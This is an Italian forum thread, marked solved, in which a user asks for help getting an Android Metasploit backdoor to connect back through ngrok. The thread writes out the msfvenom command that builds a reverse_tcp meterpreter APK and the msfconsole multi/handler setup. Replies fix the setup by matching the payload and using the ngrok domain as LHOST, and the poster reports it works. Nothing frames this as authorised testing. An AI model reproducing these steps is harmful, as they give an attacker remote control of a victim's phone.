Domanda Risolto Malware backdoor esterna metasploit

[n0tting]

ho un problema con una backdoor (metasploit) utilizzando ngrok praticamente vado a creare una backdoor tramite il comando
msfvenom -p android/meterpreter/reverse_tcp LHOST = IP NGROK LPORT = PORTA SCELTA -o app.apk
dopo vado su ngrok per forwardare la porta scelta
dopo apro msfconsole
use exploit/multi/handler/
set LHOST ip ngrok
set LPORT porta scelta
run
vado ad aprire l app sul cellulare però non mi apre nessuna shell meterpreter su msfconsole io credo che il problema sia ngrok dato che prima di fare run io ho controllato l ip ed era cambiato quindi i due dispositivi con potevano comunicare potete darmi dei consigli grazie in anticipo

 

[WW313NET]

La porta la devi aprire dal gateway del router, ngrok è webhost non ha nulla a che fare con il port forwarding

 

[Helplease]

Ciao, credo che il tuo problema venga dal fatto che quando crei la backdoor imposti come porta quella che hai scelto tu, mentre dovresti impostare quella di Ngrok. Fammi sapere se riesci a risolvere .

 

[n0tting]

Ciao, credo che il tuo problema venga dal fatto che quando crei la backdoor imposti come porta quella che hai scelto tu, mentre dovresti impostare quella di Ngrok. Fammi sapere se riesci a risolvere .

io ho fatto così
ngrok tcp 6789(porta esempio)
dopo
quando creo la beckdoor con msfvenom LPORT = metto la porta 6789

 

[0xbro]

Quanto imposti il multi-handler devi impostare anche il payload (deve usare lo stesso payload usato dalla APK). In secndo luogo non devi usare l'IP di ngrok da quel che ricordo ma devi utilizzare il dominio che ti viene assegnato. Non ricordo se basti inserire il dominio all'interno del campo IP o se serva usare un altro campo, però il problema mi pare sia quello.

Edit: Ok, sì, devi inserire il dominio di ngrok edntro LHOST. Trovi un esempio qui

 

[n0tting]

Quanto imposti il multi-handler devi impostare anche il payload (deve usare lo stesso payload usato dalla APK). In secndo luogo non devi usare l'IP di ngrok da quel che ricordo ma devi utilizzare il dominio che ti viene assegnato. Non ricordo se basti inserire il dominio all'interno del campo IP o se serva usare un altro campo, però il problema mi pare sia quello.

Edit: Ok, sì, devi inserire il dominio di ngrok edntro LHOST. Trovi un esempio qui

grazie mille ora provo e dopo ti faccio sapere

Messaggio unito automaticamente: 15 Dicembre 2020

Quanto imposti il multi-handler devi impostare anche il payload (deve usare lo stesso payload usato dalla APK). In secndo luogo non devi usare l'IP di ngrok da quel che ricordo ma devi utilizzare il dominio che ti viene assegnato. Non ricordo se basti inserire il dominio all'interno del campo IP o se serva usare un altro campo, però il problema mi pare sia quello.

Edit: Ok, sì, devi inserire il dominio di ngrok edntro LHOST. Trovi un esempio qui

ci sono riuscito grazie